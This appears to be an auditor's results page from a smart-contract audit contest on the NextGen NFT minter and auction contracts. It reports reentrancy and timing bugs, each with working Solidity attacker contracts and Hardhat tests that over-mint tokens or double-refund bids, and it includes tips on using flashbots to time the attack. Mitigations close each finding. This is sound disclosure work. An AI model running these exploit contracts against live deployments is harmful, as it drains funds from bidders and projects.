NextGen - 00xSEV's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L236

Vulnerability details

Vulnerability Details

Prerequisites:

• Option 1:
  • AllowList phase
  • Attacker has a merkleProof with _maxAllowance > 0
• Option 2:
  • public mint phase (phase 2)

Steps:

1. Call MinterContract.mint
2. onERC721Received call mint again
3. Can repeat step 2 indefinitely up to totalSupply

Variant:

• Can also reenter from burnOrSwapExternalToMint to MinterContract.mint, tokensMintedAllowlistAddress and tokensMintedPerAddress won't be updated and can mint one more than allowed

Impact

Attacker minted more tokens than was allowed to him Others can mint less or can't mint at all because circulatingSupply is closer or equal to totalSupply

Proof of Concept

1. Install merkletreejs to generate merkle proof cd hardhat && npm i merkletreejs
2. Put the contract below in hardhat/smart-contracts

// SPDX-License-Identifier: MIT
import  "./MinterContract.sol";
import {IERC721Receiver} from "./IERC721Receiver.sol";

pragma solidity ^0.8.19;

contract ReentersMint is IERC721Receiver {
    uint mintedTimes = 0;
    NextGenMinterContract minter;
    bytes32[] merkleProof;

    constructor(NextGenMinterContract _minter) {
        minter = _minter;
    }

    function setProof(bytes32[] calldata _merkleProof) external{
        merkleProof = _merkleProof;
    }

    function mint() external {
        minter.mint(
            1, // uint256 _collectionID,
            2, // uint256 _numberOfTokens,
            2, // uint256 _maxAllowance,
            "",// string memory _tokenData,
            address(this),// address _mintTo,
            merkleProof,// bytes32[] calldata merkleProof,
            address(0),// address _delegator,
            0// uint256 _saltfun_o
        );
    }

    function onERC721Received(
        address ,
        address ,
        uint256 ,
        bytes calldata 
    ) external returns (bytes4) {

        if (mintedTimes >= 2){
            return IERC721Receiver.onERC721Received.selector;   
        }
        mintedTimes += 1;

        minter.mint(
            1, // uint256 _collectionID,
            2, // uint256 _numberOfTokens,
            2, // uint256 _maxAllowance,
            "",// string memory _tokenData,
            address(this),// address _mintTo,
            merkleProof,// bytes32[] calldata merkleProof,
            address(0),// address _delegator,
            0// uint256 _saltfun_o
        );

        return IERC721Receiver.onERC721Received.selector;
    }
}

3. Put the test file below to hardhat/tests/fileName.test.js and run npx hardhat test test/fileName.test.js

// @ts-check
const TEST_NAME = "Possible to mint more than allowed in `_maxAllowance`";
const {
    loadFixture,
  } = require("@nomicfoundation/hardhat-toolbox/network-helpers")
const { expect } = require("chai");
// @ts-ignore
const { ethers } = require("hardhat");
const fixturesDeployment = require("../scripts/fixturesDeployment.js")
const { MerkleTree } = require('merkletreejs');
const { keccak256 } = require("@ethersproject/keccak256");
  
let signers
let contracts
  

describe("NextGen Tests", function () {
    let attacker;
    let attackerContract;

    beforeEach(async function () {
      ;({ signers, contracts } = await loadFixture(fixturesDeployment))
      attacker = signers.addr3;

      await contracts.hhCore.addMinterContract(
        contracts.hhMinter
      );
      await contracts.hhCore.addRandomizer(
        1, contracts.hhRandomizer,
      )

      contracts.hhReentersMint = await (
        await ethers.getContractFactory("ReentersMint")
      ).deploy(contracts.hhMinter);
      
      attackerContract = contracts.hhReentersMint.connect(attacker);
    })

    context(TEST_NAME, () => {
        let endTimestampAllowList;
        let startTimestampPublicSale;
        let collectionAdmin;
        let COLLECTION_ID;
        let proof;
        

        beforeEach(async function () {
            COLLECTION_ID = await contracts.hhCore.newCollectionIndex();
            // prepare
            await contracts.hhCore.createCollection(
                "Test Collection 1",
                "Artist 1",
                "For testing",
                "www.test.com",
                "CCO",
                "https://ipfs.io/ipfs/hash/",
                "",
                ["desc"],
              );
            collectionAdmin = signers.addr1;
            await contracts.hhAdmin.registerCollectionAdmin(
                COLLECTION_ID, // _collectionID
                collectionAdmin.address,
                true,
            )
            await contracts.hhCore.connect(collectionAdmin).setCollectionData(
                COLLECTION_ID, // _collectionID
                collectionAdmin.address, // _collectionArtistAddress
                2, // _maxCollectionPurchases
                10000, // _collectionTotalSupply
                0, // _setFinalSupplyTimeAfterMint
            )
            await contracts.hhMinter.setCollectionCosts(
                COLLECTION_ID, // _collectionID
                0, // _collectionMintCost
                0, // _collectionEndMintCost
                0, // _rate
                2000, // _timePeriod
                1, // _salesOptions
                '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
              )

            const startTimestampAllowList = await getLatestBlockTimestamp();
            endTimestampAllowList = startTimestampAllowList + 1000
            // Makes sure the attacker is in the merkle tree
            let root;
            ({root, proof} = await createMerkleProofWith2Spots(attackerContract));

            startTimestampPublicSale = startTimestampAllowList + 1000;
            await contracts.hhMinter.setCollectionPhases(
                COLLECTION_ID, // _collectionID
                startTimestampAllowList, // _allowlistStartTime
                endTimestampAllowList, // _allowlistEndTime
                // Enough time for both
                startTimestampPublicSale, // _publicStartTime
                endTimestampAllowList + 1000, // _publicEndTime
                root, // _merkleRoot
            )
        })
        it("attacks merkle root", async function() {
            const balanceBefore = await contracts.hhCore.balanceOf(attackerContract);
            expect(balanceBefore).to.eq(0);

            // We have set _maxAllowance = 2 in `createMerkleProofWith2Spots` (spots array)
            await attackerContract.setProof(proof);
            await attackerContract.mint();
            const balanceAfter = await contracts.hhCore.balanceOf(attackerContract);
            expect(balanceAfter).to.eq(6);

            // Calling mint second time should not work (as expected)
            await expect(attackerContract.mint())
                // @ts-ignore
                .to.be.revertedWith("AL limit")
        })

        it("attacks option 2 (public sale)", async function() {
            // Skip time until public sale
            await ethers.provider.send('evm_setNextBlockTimestamp', [startTimestampPublicSale + 1]);

            const maxAllowance = await contracts.hhCore.viewMaxAllowance(COLLECTION_ID);
            expect(maxAllowance).eq(2);

            const attackerContract = contracts.hhReentersMint.connect(attacker);
            const balanceBefore = await contracts.hhCore.balanceOf(attackerContract);
            expect(balanceBefore).to.eq(0);

            await attackerContract.mint();
            const balanceAfter = await contracts.hhCore.balanceOf(attackerContract);
            expect(balanceAfter).to.eq(6);

            // Calling mint second time should not work (as expected)
            await expect(attackerContract.mint())
                // @ts-ignore
                .to.be.revertedWith("Max")
        })

    });
});
async function getLatestBlockTimestamp() {
    // @ts-ignore
    return (await ethers.provider.getBlock("latest")).timestamp;
}

// see create_merkle.js example and https://github.com/miguelmota/merkletreejs-nft-whitelist
// creates a merkle tree of 2 elements with an `account` having 2 spots
async function createMerkleProofWith2Spots(account) {
    // slice(2) removes 0x
    const address = (await account.getAddress()).slice(2);
    

    const allowList = [ address, '5B38Da6a701c568545dCfcB03FcB875f56beddC4',];
    const spots = [ 
        '0000000000000000000000000000000000000000000000000000000000000002', 
        '0000000000000000000000000000000000000000000000000000000000000000'
    ];
    const txinfo = [ '', '', ];
    const leaves = allowList.map((addr, index) => {
        const concatenatedData = addr + spots[index] + txinfo[index];
        const bufferData = Buffer.from(concatenatedData , 'hex');
        return keccak256(bufferData);
    });

    const merkleTree = new MerkleTree(leaves, keccak256, { sortPairs: true });
    return {
        root: merkleTree.getHexRoot(),
        proof: merkleTree.getHexProof(leaves[0])
    };
}

Tools Used

Manual review

Recommended Mitigation Steps

Add nonReentrant modifier to MinterContract.mint Use Pull over Push pattern Use CEI pattern

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L139

Vulnerability details

Vulnerability Details

Prerequisites:

• Attacker made several bids
• Attacker is the winner
• block.timestamp == minter.getAuctionEndTime(_tokenid) (1/12 chance if selected in random, see more in this answer)
• Attacker has fallback payable function
• AuctionDemo contract has at least 2x more funds than the attacker's bids except for the winning bid and the first bid
  • Can be bets from other bidders or from other auctions

Steps for the attacker:

1. Call cancelAllBids
2. On payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); in fallback payable call claimAuction on the first call

    receive() external payable{
        require(tokenId != 0, "tokenId is not set");
        if (!hasBeenCalled){
            hasBeenCalled = true;
            auction.claimAuction(tokenId);
        }
    }

Impact

Bids (except for the first one and the winning one) are returned to the attacker twice:

1. In claimAuction payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
2. In cancelAllBids payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); Attacker also receives the NFT

Proof of Concept

Put the contract below in hardhat/smart-contracts

// SPDX-License-Identifier: MIT
import {auctionDemo} from "./AuctionDemo.sol";
import {IERC721Receiver} from "./IERC721Receiver.sol";

pragma solidity ^0.8.19;

contract CallsClaimAuctionOnFirstPayment is IERC721Receiver {
    auctionDemo immutable auction;
    uint tokenId;
    bool hasBeenCalled;

    constructor(auctionDemo _auction) {
        auction = _auction;
    }

    function setTokenId(uint _tokenId) external {
        tokenId = _tokenId;
    }
    function bid() external payable {
        require(msg.value > 0, "msg.value is required");
        require(tokenId != 0, "tokenId is not set");
        auction.participateToAuction{value: msg.value}(tokenId);
    }

    function cancelAllBids() external {
        auction.cancelAllBids(tokenId);
    }

    function onERC721Received(
        address ,
        address ,
        uint256 ,
        bytes calldata 
    ) external pure returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable{
        require(tokenId != 0, "tokenId is not set");
        if (!hasBeenCalled){
            hasBeenCalled = true;
            auction.claimAuction(tokenId);
        }
    }
}

Put the test file below to hardhat/tests/fileName.test.js and run npx hardhat test test/fileName.test.js

// @ts-check
const TEST_NAME = "Attacker can receive their bids back twice + NFT";
const {
    loadFixture,
  } = require("@nomicfoundation/hardhat-toolbox/network-helpers")
  const { expect } = require("chai");
  // @ts-ignore
  const { ethers } = require("hardhat");
  const fixturesDeployment = require("../scripts/fixturesDeployment.js")
  
  let signers
  let contracts
  

describe("NextGen Tests", function () {
    let attacker;

    beforeEach(async function () {
      ;({ signers, contracts } = await loadFixture(fixturesDeployment))
      attacker = signers.addr3;

      const auction = await ethers.getContractFactory(
        "auctionDemo",
      );
      contracts.hhAuction = await auction.deploy(
        await contracts.hhMinter.getAddress(),
        await contracts.hhCore.getAddress(),
        await contracts.hhAdmin.getAddress(),
      );
      await contracts.hhCore.addMinterContract(
        contracts.hhMinter
      );
      await contracts.hhCore.addRandomizer(
        1, contracts.hhRandomizer,
      )

      contracts.hhCallsClaimAuctionOnFirstPayment = await (
        await ethers.getContractFactory("CallsClaimAuctionOnFirstPayment", attacker)
      ).deploy(await contracts.hhAuction.getAddress());
    })

    context("Verify Fixture", () => {
        it("Contracts are deployed", async function () {
            expect(await contracts.hhCallsClaimAuctionOnFirstPayment.getAddress()).to.not.equal(
                ethers.ZeroAddress,
            )
        })}
    );

    context(TEST_NAME, () => {
        let tokenId;
        let endTimestamp;
        let collectionAdmin;

        beforeEach(async function () {
            // prepare
            await contracts.hhCore.createCollection(
                "Test Collection 1",
                "Artist 1",
                "For testing",
                "www.test.com",
                "CCO",
                "https://ipfs.io/ipfs/hash/",
                "",
                ["desc"],
              );
            collectionAdmin = signers.addr1;
            await contracts.hhAdmin.registerCollectionAdmin(
                1,
                collectionAdmin.address,
                true,
            )
            await contracts.hhCore.connect(collectionAdmin).setCollectionData(
                1, // _collectionID
                collectionAdmin.address, // _collectionArtistAddress
                2, // _maxCollectionPurchases
                10000, // _collectionTotalSupply
                0, // _setFinalSupplyTimeAfterMint
            )
            await contracts.hhMinter.setCollectionCosts(
                1, // _collectionID
                0, // _collectionMintCost
                0, // _collectionEndMintCost
                0, // _rate
                2000, // _timePeriod
                1, // _salesOptions
                '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
              )

            const startTimestamp = await getLatestBlockTimestamp();
            endTimestamp = startTimestamp + 1000
            await contracts.hhMinter.setCollectionPhases(
                1, // _collectionID
                startTimestamp, // _allowlistStartTime
                endTimestamp, // _allowlistEndTime
                0, // _publicStartTime
                0, // _publicEndTime
                "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
            )

            // start auction
            const tx = await contracts.hhMinter.mintAndAuction(
                collectionAdmin.address, // _recipient
                "", // _tokenData
                0, // _saltfun_o
                1, // _collectionID
                endTimestamp, // _auctionEndTime
            );

            // check token minted
            tokenId = await getLastMintedTokenId(tx);
            expect(await contracts.hhMinter.getAuctionEndTime(tokenId)).to.eq(endTimestamp);
            expect(await contracts.hhCore.ownerOf(tokenId)).to.eq(collectionAdmin.address);

            // approve auction to use it
            contracts.hhCore.connect(signers.addr1).approve(
                await contracts.hhAuction.getAddress(),
                tokenId    
            );
        })
        it("attacks", async function() {
            // Simulate that auction contract has ether
            const AUCTION_STARTING_BALANCE = ethers.parseEther("20");
            await ethers.provider.send("hardhat_setBalance", [
                await contracts.hhAuction.getAddress(),
                "0x" + AUCTION_STARTING_BALANCE.toString(16),
              ]);
            expect(await ethers.provider.getBalance(contracts.hhAuction))
                .to.eq(AUCTION_STARTING_BALANCE);

            // Create a variable for convenience
            const attackerContract = await contracts.hhCallsClaimAuctionOnFirstPayment.connect(attacker);
            await attackerContract.setTokenId(tokenId);

            // Step1: bet 3 times
            const firstBid = ethers.parseEther("1.0");
            const secondBid = ethers.parseEther("1.1");
            const thirdBid = ethers.parseEther("1.2");


            await attackerContract.bid({value: firstBid});
            await attackerContract.bid({value: secondBid});
            await attackerContract.bid({value: thirdBid});

            // Step2: bet 4th time to win
            const winningBid = ethers.parseEther("1.3");
            await attackerContract.bid({value: winningBid});

            // Make sure have no funds before the attack
            expect(await ethers.provider.getBalance(attackerContract)).to.eq(0);

            // Step3
            // Skip till the end of auction
            await ethers.provider.send("evm_setAutomine", [false]);
            await ethers.provider.send("evm_setIntervalMining", [0]);
            await ethers.provider.send('evm_setNextBlockTimestamp', [endTimestamp]);

            // Call `cancelAllBids` from the attacker account
            await attackerContract.cancelAllBids();
            await ethers.provider.send("evm_mine");

            // Make sure attack was successful
            const expectedBalance = firstBid + secondBid * 2n + thirdBid * 2n + winningBid;
            const balanceAfter = await ethers.provider.getBalance(attackerContract);
            expect(balanceAfter).to.eq(expectedBalance);
            expect(firstBid+secondBid+thirdBid+winningBid).be.lessThan(balanceAfter);

            // check attacker owns the NFT too
            expect(await contracts.hhCore.ownerOf(tokenId))
                .to.eq(await attackerContract.getAddress());
        })

    });
});
async function getLastMintedTokenId(tx) {
    return (await tx.wait()).logs
        .map(log => {
            try {
                return new ethers.Interface([
                    "event Transfer(address indexed from, address indexed to, uint256 indexed tokenId)"
                ]).parseLog(log);
            } catch (error) {
                return null;
            }
        })
        .find(parsedLog => parsedLog && parsedLog.name === "Transfer")
        .args.tokenId;
}

async function getLatestBlockTimestamp() {
    // @ts-ignore
    return (await ethers.provider.getBlock("latest")).timestamp;
}

Tools Used

Manual review

Recommended Mitigation Steps

Add nonReentrant to cancelAllBids, claimAuction Use Pull over Push pattern

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L105

Vulnerability details

Vulnerability Details

Prerequisites:

• getAuctionEndTime is a valid block.timestamp (1/12 chance if selected in random, see more in this answer)
• claimAuction will be called on block.timestamp == minter.getAuctionEndTime(_tokenid) (can be called by the attacker if they are also a winner)
• There are enough ETH on AuctionDemo contract to make double payments
  • e.g. there are other unfinished auction with active bids

Steps by the attacker if the attacker is the winner:

1. Bet at least once
   • Best to bet more ETH so no one else will have incentive to win
   • Best to bet several times
2. Bet once more enough to win
3. Wait until almost the end of the auction, pay flashbots to include you in the block where block.timestamp == minter.getAuctionEndTime(_tokenid). For example using minTimestamp & maxTimestamp parameters, allowed, see docs. Or just calculate desired block number and use it
   • In the transaction the attacker is calling claimAuction
   • The attacker checks how many returns happened to there receive/fallback payable functions
   • On the last return they call cancelAllBids, which is called on payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");

   receive() external payable{
       require(tokenId != 0, "tokenId is not set");
       returnsCounter+=1;
       bool isLastNonWiningBet = returnsCounter == bidCounter-1;
       if (isLastNonWiningBet){
           auction.cancelAllBids(tokenId);
       }
   }

   • They receive auctionInfoData[_tokenid][i].bid first in claimAuction, then in cancelBid/cancelBids

Steps by the attacker if the attacker is not the winner:

Note: lower chance of the attack success here

1. Bet at least once
   • Best to bet several times
   • To make sure they are not the winner can bet below market
2. Somebody else rebids and win
3. claimAuction is called on block.timestamp == minter.getAuctionEndTime(_tokenid)
   1. Not the lowest chance because often the winner will want to get there NFT ASAP and return other bids
   2. Also admins also has incentive to end auctions earlier so owner, winner and other bidders receive funds/NFT
4. The attacker has a call to cancelAllBids in receive/fallback payable, which is called on payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
5. They receive auctionInfoData[_tokenid][i].bid first in claimAuction, then in `cancelAllBids

Variations: The attacker can also call cancelBid on each call, but they will need to track their bet's index in this case.

Impact

Attacker receives double his bets except for the first one. E.g. for 4 bets: 1.0Eth, 1.1Eth, 1.2Eth, 1.3Eth they will receive back 1.0*2 + 1.1*2 + 1.2*2 + 1.3 = 7.9Eth (The winning bet will be returned only once) 7.9-4.6=3.3 Eth is stolen from the contract

Proof of Concept

Put the contracts below in hardhat/smart-contracts

// SPDX-License-Identifier: MIT
import {auctionDemo} from "./AuctionDemo.sol";
import {IERC721Receiver} from "./IERC721Receiver.sol";

pragma solidity ^0.8.19;

contract CallsCancelBidsOnPayment is IERC721Receiver {
    auctionDemo immutable auction;
    uint tokenId;
    uint bidCounter;
    uint returnsCounter;

    constructor(auctionDemo _auction) {
        auction = _auction;
    }

    function setTokenId(uint _tokenId) external {
        tokenId = _tokenId;
    }
    function bid() external payable {
        require(msg.value > 0, "msg.value is required");
        require(tokenId != 0, "tokenId is not set");
        auction.participateToAuction{value: msg.value}(tokenId);
        bidCounter+=1;
    }

    function claim() external {
        auction.claimAuction(tokenId);
    }

    function onERC721Received(
        address ,
        address ,
        uint256 ,
        bytes calldata 
    ) external pure returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable{
        require(tokenId != 0, "tokenId is not set");
        returnsCounter+=1;
        bool isLastNonWiningBet = returnsCounter == bidCounter-1;
        if (isLastNonWiningBet){
            auction.cancelAllBids(tokenId);
        }
    }
}

Put the test file below to hardhat/tests/fileName.test.js and run npx hardhat test test/fileName.test.js

// @ts-check
const TEST_NAME = "Any bidder can return their bid twice";
const {
    loadFixture,
  } = require("@nomicfoundation/hardhat-toolbox/network-helpers")
  const { expect } = require("chai");
  // @ts-ignore
  const { ethers } = require("hardhat");
  const fixturesDeployment = require("../scripts/fixturesDeployment.js")
  
  let signers
  let contracts
  

describe("NextGen Tests", function () {
    let attacker;

    beforeEach(async function () {
      ;({ signers, contracts } = await loadFixture(fixturesDeployment))
      attacker = signers.addr3;

      const auction = await ethers.getContractFactory(
        "auctionDemo",
      );
      contracts.hhAuction = await auction.deploy(
        await contracts.hhMinter.getAddress(),
        await contracts.hhCore.getAddress(),
        await contracts.hhAdmin.getAddress(),
      );
      await contracts.hhCore.addMinterContract(
        contracts.hhMinter
      );
      await contracts.hhCore.addRandomizer(
        1, contracts.hhRandomizer,
      )

      contracts.hhCallsCancelBidsOnPayment = await (
        await ethers.getContractFactory("CallsCancelBidsOnPayment", attacker)
      ).deploy(await contracts.hhAuction.getAddress());
    })

    context("Verify Fixture", () => {
        it("Contracts are deployed", async function () {
            expect(await contracts.hhCallsCancelBidsOnPayment.getAddress()).to.not.equal(
                ethers.ZeroAddress,
            )
        })}
    );

    context(TEST_NAME, () => {
        let tokenId;
        let endTimestamp;
        let collectionAdmin;

        beforeEach(async function () {
            // prepare
            await contracts.hhCore.createCollection(
                "Test Collection 1",
                "Artist 1",
                "For testing",
                "www.test.com",
                "CCO",
                "https://ipfs.io/ipfs/hash/",
                "",
                ["desc"],
              );
            collectionAdmin = signers.addr1;
            await contracts.hhAdmin.registerCollectionAdmin(
                1,
                collectionAdmin.address,
                true,
            )
            await contracts.hhCore.connect(collectionAdmin).setCollectionData(
                1, // _collectionID
                collectionAdmin.address, // _collectionArtistAddress
                2, // _maxCollectionPurchases
                10000, // _collectionTotalSupply
                0, // _setFinalSupplyTimeAfterMint
            )
            await contracts.hhMinter.setCollectionCosts(
                1, // _collectionID
                0, // _collectionMintCost
                0, // _collectionEndMintCost
                0, // _rate
                2000, // _timePeriod
                1, // _salesOptions
                '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
              )

            const startTimestamp = await getLatestBlockTimestamp();
            endTimestamp = startTimestamp + 1000
            await contracts.hhMinter.setCollectionPhases(
                1, // _collectionID
                startTimestamp, // _allowlistStartTime
                endTimestamp, // _allowlistEndTime
                0, // _publicStartTime
                0, // _publicEndTime
                "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
            )

            // start auction
            const tx = await contracts.hhMinter.mintAndAuction(
                collectionAdmin.address, // _recipient
                "", // _tokenData
                0, // _saltfun_o
                1, // _collectionID
                endTimestamp, // _auctionEndTime
            );

            // check token minted
            tokenId = await getLastMintedTokenId(tx);
            expect(await contracts.hhMinter.getAuctionEndTime(tokenId)).to.eq(endTimestamp);
            expect(await contracts.hhCore.ownerOf(tokenId)).to.eq(collectionAdmin.address);

            // approve auction to use it
            contracts.hhCore.connect(signers.addr1).approve(
                await contracts.hhAuction.getAddress(),
                tokenId    
            );
        })
        it("attacks", async function() {
            // Simulate that auction contract has ether
            const AUCTION_STARTING_BALANCE = ethers.parseEther("20");
            await ethers.provider.send("hardhat_setBalance", [
                await contracts.hhAuction.getAddress(),
                "0x" + AUCTION_STARTING_BALANCE.toString(16),
              ]);
            expect(await ethers.provider.getBalance(contracts.hhAuction))
                .to.eq(AUCTION_STARTING_BALANCE);

            // Create a variable for convenience
            const attackerContract = await contracts.hhCallsCancelBidsOnPayment.connect(attacker);
            await attackerContract.setTokenId(tokenId);

            // Step1: bet 3 times
            const firstBid = ethers.parseEther("1.0");
            const secondBid = ethers.parseEther("1.1");
            const thirdBid = ethers.parseEther("1.2");


            await attackerContract.bid({value: firstBid});
            await attackerContract.bid({value: secondBid});
            await attackerContract.bid({value: thirdBid});

            // Step2: bet 4th time to win
            const winningBid = ethers.parseEther("1.3");
            await attackerContract.bid({value: winningBid});

            // Make sure have no funds before the attack
            expect(await ethers.provider.getBalance(attackerContract)).to.eq(0);

            // Step3
            // Skip till the end of auction
            await ethers.provider.send("evm_setAutomine", [false]);
            await ethers.provider.send("evm_setIntervalMining", [0]);
            await ethers.provider.send('evm_setNextBlockTimestamp', [endTimestamp]);

            // Call `claimAuction` from the attacker account
            await attackerContract.claim();
            await ethers.provider.send("evm_mine");

            // Make sure attack was successful
            const expectedBalance = firstBid * 2n + secondBid * 2n + thirdBid * 2n + winningBid;
            const balanceAfter = await ethers.provider.getBalance(attackerContract);
            expect(balanceAfter).to.eq(expectedBalance);
            expect(firstBid+secondBid+thirdBid+winningBid).be.lessThan(balanceAfter);
        })

    });
});
async function getLastMintedTokenId(tx) {
    return (await tx.wait()).logs
        .map(log => {
            try {
                return new ethers.Interface([
                    "event Transfer(address indexed from, address indexed to, uint256 indexed tokenId)"
                ]).parseLog(log);
            } catch (error) {
                return null;
            }
        })
        .find(parsedLog => parsedLog && parsedLog.name === "Transfer")
        .args.tokenId;
}

async function getLatestBlockTimestamp() {
    // @ts-ignore
    return (await ethers.provider.getBlock("latest")).timestamp;
}

Tools Used

Manual review

Recommended Mitigation Steps

Use Pull over Push pattern. Change >= to > in block.timestamp >= minter.getAuctionEndTime(_tokenid) in claimAuction Use nonReentrant modifiers

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L105

Vulnerability details

Vulnerability Details

Prerequisites:

• getAuctionEndTime is a valid block.timestamp (1/12 chance if selected in random, see more in this answer) Steps by the attacker:
• Bet enough to win the auction
• Wait until almost the end of the auction, pay flashbots to include you in the block where block.timestamp == minter.getAuctionEndTime(_tokenid). For example using minTimestamp & maxTimestamp parameters, allowed, see docs. Or just calculate desired block number and use it
  • In the transaction the attacker is calling claimAuction
  • highest Bidder (the attacker) has a call to cancelBid in onERC721Received

Impact

Attacker returns their bid and gets the NFT

Proof of Concept

Put the contract below in hardhat/smart-contracts

// SPDX-License-Identifier: MIT
import {auctionDemo} from "./AuctionDemo.sol";
import {IERC721Receiver} from "./IERC721Receiver.sol";

pragma solidity ^0.8.19;

contract CancelOnWin is IERC721Receiver {
    auctionDemo immutable auction;

    constructor(auctionDemo _auction) {
        auction = _auction;
    }
    function bid(uint256 tokenId) external payable {
        require(msg.value > 0);
        auction.participateToAuction{value: msg.value}(tokenId);
    }

    function claim(uint256 tokenId) external {
        auction.claimAuction(tokenId);
    }

    function onERC721Received(
        address ,
        address ,
        uint256 tokenId,
        bytes calldata 
    ) external returns (bytes4) {
        auction.cancelAllBids(tokenId);
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable{}
}

Put the test file below to hardhat/tests/fileName.test.js and run npx hardhat test test/fileName.test.js

// @ts-check

const {
    loadFixture,
  } = require("@nomicfoundation/hardhat-toolbox/network-helpers")
  const { expect } = require("chai");
  // @ts-ignore
  const { ethers } = require("hardhat");
  const fixturesDeployment = require("../scripts/fixturesDeployment.js")
  
  let signers
  let contracts
  

describe("NextGen Tests", function () {
    let attacker;

    beforeEach(async function () {
      ;({ signers, contracts } = await loadFixture(fixturesDeployment))
      attacker = signers.addr3;

      const auction = await ethers.getContractFactory(
        "auctionDemo",
      );
      contracts.hhAuction = await auction.deploy(
        await contracts.hhMinter.getAddress(),
        await contracts.hhCore.getAddress(),
        await contracts.hhAdmin.getAddress(),
      );
      await contracts.hhCore.addMinterContract(
        contracts.hhMinter
      );
      await contracts.hhCore.addRandomizer(
        1, contracts.hhRandomizer,
      )

      contracts.hhCancelOnWin = await (
        await ethers.getContractFactory("CancelOnWin", attacker)
      ).deploy(await contracts.hhAuction.getAddress());
    })

    context("Verify Fixture", () => {
        it("Contracts are deployed", async function () {
            expect(await contracts.hhCancelOnWin.getAddress()).to.not.equal(
                ethers.ZeroAddress,
            )
        })}
    );

    context("Auction winner can return his bid", () => {
        let tokenId;
        let endTimestamp;
        let normalBidder;

        beforeEach(async function () {
            // prepare
            await contracts.hhCore.createCollection(
                "Test Collection 1",
                "Artist 1",
                "For testing",
                "www.test.com",
                "CCO",
                "https://ipfs.io/ipfs/hash/",
                "",
                ["desc"],
              );
            const collectionAdmin = signers.addr1;
            await contracts.hhAdmin.registerCollectionAdmin(
                1,
                collectionAdmin.address,
                true,
            )
            await contracts.hhCore.connect(collectionAdmin).setCollectionData(
                1, // _collectionID
                collectionAdmin.address, // _collectionArtistAddress
                2, // _maxCollectionPurchases
                10000, // _collectionTotalSupply
                0, // _setFinalSupplyTimeAfterMint
            )
            await contracts.hhMinter.setCollectionCosts(
                1, // _collectionID
                0, // _collectionMintCost
                0, // _collectionEndMintCost
                0, // _rate
                2000, // _timePeriod
                1, // _salesOptions
                '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
              )

            const startTimestamp = await getLatestBlockTimestamp();
            endTimestamp = startTimestamp + 1000
            await contracts.hhMinter.setCollectionPhases(
                1, // _collectionID
                startTimestamp, // _allowlistStartTime
                endTimestamp, // _allowlistEndTime
                0, // _publicStartTime
                0, // _publicEndTime
                "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
            )

            normalBidder = signers.addr2;
            expect(collectionAdmin.address).not.eq(normalBidder.address);

            // start auction
            const tx = await contracts.hhMinter.mintAndAuction(
                collectionAdmin.address, // _recipient
                "", // _tokenData
                0, // _saltfun_o
                1, // _collectionID
                endTimestamp, // _auctionEndTime
            );

            // check token minted
            tokenId = await getLastMintedTokenId(tx);
            expect(await contracts.hhMinter.getAuctionEndTime(tokenId)).to.eq(endTimestamp);
            expect(await contracts.hhCore.ownerOf(tokenId)).to.eq(collectionAdmin.address);

            // approve auction to use it
            contracts.hhCore.connect(signers.addr1).approve(
                await contracts.hhAuction.getAddress(),
                tokenId    
            );
        })
        it("attacks", async function() {
            const attackerContract = await contracts.hhCancelOnWin.connect(attacker);

            // Make a big bet
            const bidAmmount = ethers.parseEther("1.0");
            await attackerContract.bid(tokenId, {
                value: bidAmmount
            })
            
            const balanceBefore = await ethers.provider.getBalance(attackerContract);
            expect(balanceBefore).to.eq(0);

            // skip until the auction end time
            await ethers.provider.send("evm_setAutomine", [false]);
            await ethers.provider.send("evm_setIntervalMining", [0]);
            await ethers.provider.send('evm_setNextBlockTimestamp', [endTimestamp]);
            
            // claim
            await attackerContract.claim(tokenId);
            await ethers.provider.send("evm_mine");

            // check mined correctly
            expect(await getLatestBlockTimestamp()).eq(endTimestamp);
            expect(await contracts.hhAuction.auctionClaim(tokenId)).to.be.true;

            // check attack successfull
            const balanceAfter = await ethers.provider.getBalance(attackerContract);
            expect(balanceAfter).to.eq(bidAmmount);

            // check attacker owns the NFT
            expect(await contracts.hhCore.ownerOf(tokenId))
                .to.eq(await attackerContract.getAddress());
        })

    });
});
async function getLastMintedTokenId(tx) {
    return (await tx.wait()).logs
        .map(log => {
            try {
                return new ethers.Interface([
                    "event Transfer(address indexed from, address indexed to, uint256 indexed tokenId)"
                ]).parseLog(log);
            } catch (error) {
                return null;
            }
        })
        .find(parsedLog => parsedLog && parsedLog.name === "Transfer")
        .args.tokenId;
}

async function getLatestBlockTimestamp() {
    // @ts-ignore
    return (await ethers.provider.getBlock("latest")).timestamp;
}

Tools Used

Manual review

Recommended Mitigation Steps

Change >= to > in block.timestamp >= minter.getAuctionEndTime(_tokenid) in claimAuction Add nonReentrant modifiers

Assessed type

Timing

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L124 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L134

